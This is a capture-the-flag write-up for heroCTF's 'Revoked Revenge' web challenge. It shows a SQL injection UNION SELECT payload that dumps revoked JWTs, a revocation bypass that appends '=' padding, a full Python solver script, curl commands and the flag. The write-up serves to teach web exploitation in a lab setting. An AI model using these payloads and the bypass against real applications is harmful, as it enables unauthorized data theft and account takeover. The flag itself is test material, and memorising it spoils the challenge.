Skip to content

SECURE_CONNECTION//PRESS[CTRL+J]FOR ROOT ACCESS

BACK TO INTEL
WebMedium

Revoked Revenge

CTF writeup for Revoked Revenge from heroCTF

//Revoked Revenge

Category: Web

Author: 25kGoldn

Difficulty: Medium  

>Challenge Description

The challenge provided a web application source code (main.py) and a remote instance. The goal was to retrieve the flag, which was protected by an admin panel.

>1. Initial Analysis

We started by analyzing the provided main.py source code.

Vulnerability 1: SQL Injection

In the /employees endpoint, we found a blatant SQL injection vulnerability:

python

@app.route("/employees", methods=["GET"])

@token_required

def employees():

    query = request.args.get("query", "")

    conn = get_db_connection()

    cursor = conn.cursor()

    # VULNERABILITY: Direct string concatenation

    cursor.execute(

        f"SELECT id, name, email, position FROM employees WHERE name LIKE '%{query}%'"

    )

    results = cursor.fetchall()

    # ...

This allows us to inject SQL commands via the query parameter. Since it's a SELECT statement, we can use UNION SELECT to leak data from other tables.

Vulnerability 2: Token Revocation Logic Flaw

The application uses JWTs for authentication. There is a revoked_tokens table to blacklist tokens on logout.

python

def token_required(f):

    # ...

    token = request.cookies.get("JWT")

    # ...

    revoked = conn.execute(

        "SELECT id FROM revoked_tokens WHERE token = ?", (token,)

    ).fetchone()

  

    if not user or revoked:

        flash("Invalid or revoked token!", "error")

        return redirect("/login")

The check WHERE token = ? performs an exact string match in the SQLite database.

However, the pyjwt library (and JWT standard) allows for loose Base64 decoding. Specifically, appending padding characters (=) to a valid Base64 string often results in the same decoded output.

If we take a revoked token and append an = sign to it:

  1.  Database Check: The token eyJ...= does NOT match the stored token eyJ... (exact match fails). The database says "Not Revoked".

  2.  JWT Decode: jwt.decode ignores the extra padding and successfully decodes the token.

This allows us to reuse a revoked token!

>2. Exploitation Strategy

Step 1: Leak Revoked Tokens

We need a valid token that belongs to an admin but has been revoked. We can leak the revoked_tokens table using the SQL injection.

Payload:

sql

' AND 0 UNION SELECT id, token, 'dummy', 'dummy' FROM revoked_tokens --

We injected this into the query parameter:

GET /employees?query=' AND 0 UNION SELECT id, token, 'dummy', 'dummy' FROM revoked_tokens --

This returned a list of revoked tokens. We found one that looked promising (likely belonging to the admin).

Step 2: Bypass Revocation

We took the leaked admin token and appended an = character to it.

Original Token: eyJ... (Revoked)

Bypassed Token: eyJ...= (Not Revoked in DB, Valid in JWT)

Step 3: Access Admin Panel

We set our JWT cookie to the bypassed token and accessed /admin.

>3. Solver Script

Here is the complete python script to automate the exploit:

python

import requests

import re

import sys

from bs4 import BeautifulSoup

  

# Configuration

BASE_URL = "http://dyn15.heroctf.fr:14778"

# BASE_URL = "http://localhost:5001" # Local testing

  

SESSION = requests.Session()

  

def register_and_login(username, password):

    print(f"[*] Registering and logging in as {username}...")

    SESSION.post(f"{BASE_URL}/register", data={"username": username, "password": password})

    resp = SESSION.post(f"{BASE_URL}/login", data={"username": username, "password": password})

    if "JWT" in SESSION.cookies:

        print("[+] Login successful.")

        return True

    print("[-] Login failed.")

    return False

  

def leak_revoked_token():

    print("[*] Leaking revoked tokens via SQL Injection...")

    # Payload to leak id and token from revoked_tokens table

    # We use ' AND 0 UNION SELECT ... to hide normal results

    payload = "' AND 0 UNION SELECT id, token, 'dummy', 'dummy' FROM revoked_tokens --"

    resp = SESSION.get(f"{BASE_URL}/employees", params={"query": payload})

    soup = BeautifulSoup(resp.text, 'html.parser')

    tokens = []

    for row in soup.find_all('tr')[1:]:

        cols = row.find_all('td')

        if len(cols) >= 2:

            token = cols[1].text.strip()

            # Basic check if it looks like a JWT (starts with eyJ)

            if token.startswith("eyJ"):

                tokens.append(token)

    if tokens:

        print(f"[+] Found {len(tokens)} revoked tokens.")

        return tokens

    else:

        print("[-] No tokens found.")

        return []

  

def get_flag(token):

    # The vulnerability:

    # The server checks revocation by exact string match: SELECT ... WHERE token = ?

    # But pyjwt allows padding characters ('=') at the end.

    # So 'TOKEN' is revoked, but 'TOKEN=' is NOT revoked in DB, but valid for pyjwt.

    padded_token = token + "="

    print(f"[*] Attempting to bypass revocation with padded token...")

    print(f"[*] Token: {padded_token[:20]}...{padded_token[-10:]}")

    # We need to send this token in the cookie.

    # Requests session handles cookies automatically, but we need to override the JWT cookie.

    cookies = {"JWT": padded_token}

    resp = requests.get(f"{BASE_URL}/admin", cookies=cookies)

    if "Hero{" in resp.text:

        flag = re.search(r"Hero\{.*?\}", resp.text).group(0)

        print(f"\n[+] SUCCESS! Flag retrieved: {flag}")

        return True

    elif "flag" in resp.text.lower(): # Local dummy flag

         print(f"\n[+] SUCCESS! Flag retrieved (local): {resp.text.strip()}")

         return True

    else:

        print("[-] Failed to retrieve flag with this token.")

        return False

  

def main():

    # 1. Get a valid session to exploit SQLi

    if not register_and_login("solver_user", "password123"):

        return

  

    # 2. Leak revoked tokens

    tokens = leak_revoked_token()

    # 3. Try to use each token to get the flag

    for token in tokens:

        # We are looking for the admin token.

        # In a real scenario we might decode them to check "sub": "admin",

        # but here we can just try them all.

        if get_flag(token):

            break

  

if __name__ == "__main__":

    if len(sys.argv) > 1:

        BASE_URL = sys.argv[1]

    main()

>4. Flag

Hero{N0t_th4t_r3v0k3d_37d75e49a6578b66652eca1cfe080e5b}

//Another Way

//Revoked Revenge Walkthrough

>Challenge Overview

The challenge "Revoked Revenge" is a web application vulnerable to SQL Injection and a Logic Flaw in JWT revocation handling.

>Vulnerability Analysis

  1. SQL Injection: The /employees endpoint is vulnerable to SQL injection via the query parameter.

    cursor.execute(f"SELECT id, name, email, position FROM employees WHERE name LIKE '%{query}%'")

    This allows an attacker to leak arbitrary data from the database using UNION SELECT.

  2. JWT Revocation Bypass: The application checks for revoked tokens by comparing the token string against a blacklist in the database.

    revoked = conn.execute("SELECT id FROM revoked_tokens WHERE token = ?", (token,)).fetchone()

    However, the JWT library (pyjwt) allows for extra padding (e.g., appending =) when decoding tokens. By appending = to a revoked token, the string comparison in the database fails (bypassing the revocation check), but the token remains valid for jwt.decode.

>Exploitation Steps

  1. Leak Revoked Tokens: Use the SQL injection to dump the revoked_tokens table.

    curl -s -b cookie.txt "http://dyn15.heroctf.fr:14778/employees?query=%27%20AND%200%20UNION%20SELECT%20id,%20token,%20%27dummy%27,%20%27dummy%27%20FROM%20revoked_tokens%20--"

    This revealed a revoked token for the 

    admin user.

  2. Bypass Revocation: Append = to the revoked admin token.

    • Original: ...svDe4
    • Bypassed: ...svDe4=
  3. Access Admin Panel: Use the modified token to access /admin and retrieve the flag.

    curl -b "JWT=<MODIFIED_TOKEN>" http://dyn15.heroctf.fr:14778/admin

>Flag

Hero{N0t_th4t_r3v0k3d_37d75e49a6578b66652eca1cfe080e5b}